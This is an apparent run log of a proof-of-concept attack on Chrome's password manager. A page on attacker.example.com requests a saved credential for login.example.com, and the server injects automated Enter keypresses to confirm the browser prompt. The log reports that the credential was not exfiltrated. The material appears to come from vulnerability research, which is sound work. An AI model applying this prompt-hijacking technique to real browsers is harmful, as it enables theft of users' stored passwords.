=== 1. Setting up profile with PSL credential ===
[setup] launching chrome once to create profile at /tmp/chrome-poc-profile
[setup] inserting credential for https://login.example.com:8443/ (user=victim_user, pw_blob=35 bytes)
[setup] done.
=== 2. Starting HTTPS server + key injector ===
[run] SPKI hash: 2P2Aq6Im9aJ5OD5BuJW35mMgTRMJg5kH5noSBR4h4r8=
=== 3. Launching Chrome on attacker.example.com ===
=== 4. Result ===
--- server.log ---
[server] listening on https://0.0.0.0:8443/
[server] "GET /poc.html HTTP/1.1" 200 -
[server] /about-to-prompt at 1779923239.786 -> scheduling Enter keypresses
[server] "POST /about-to-prompt HTTP/1.1" 204 -
[server] code 404, message File not found
[server] "GET /favicon.ico HTTP/1.1" 404 -
[server] XTest Enter #0 at 1779923239.837
[server] XTest Enter #1 at 1779923239.897
[server] XTest Enter #2 at 1779923239.957
[server] XTest Enter #3 at 1779923240.017
[server] XTest Enter #4 at 1779923240.078
[server] XTest Enter #5 at 1779923240.138
[server] XTest Enter #6 at 1779923240.198
[server] XTest Enter #7 at 1779923240.258
[server] XTest Enter #8 at 1779923240.319
[server] XTest Enter #9 at 1779923240.379
[server] XTest Enter #10 at 1779923240.439
[server] XTest Enter #11 at 1779923240.499
[server] XTest Enter #12 at 1779923240.559
[server] XTest Enter #13 at 1779923240.619
[server] XTest Enter #14 at 1779923240.680
[server] XTest Enter #15 at 1779923240.740
[server] XTest Enter #16 at 1779923240.800
[server] XTest Enter #17 at 1779923240.860
[server] XTest Enter #18 at 1779923240.920
[server] XTest Enter #19 at 1779923240.980
--- chrome console (POC lines) ---
[2729:2729:0527/230719.778538:INFO:CONSOLE:12] "[POC] origin = https://attacker.example.com:8443", source: https://attacker.example.com:8443/poc.html (12)
[2729:2729:0527/230719.780474:INFO:CONSOLE:12] "[POC] calling navigator.credentials.get({password:true}) at t=156.5ms", source: https://attacker.example.com:8443/poc.html (12)

*** credential not exfiltrated; see poc-output.log / server.log ***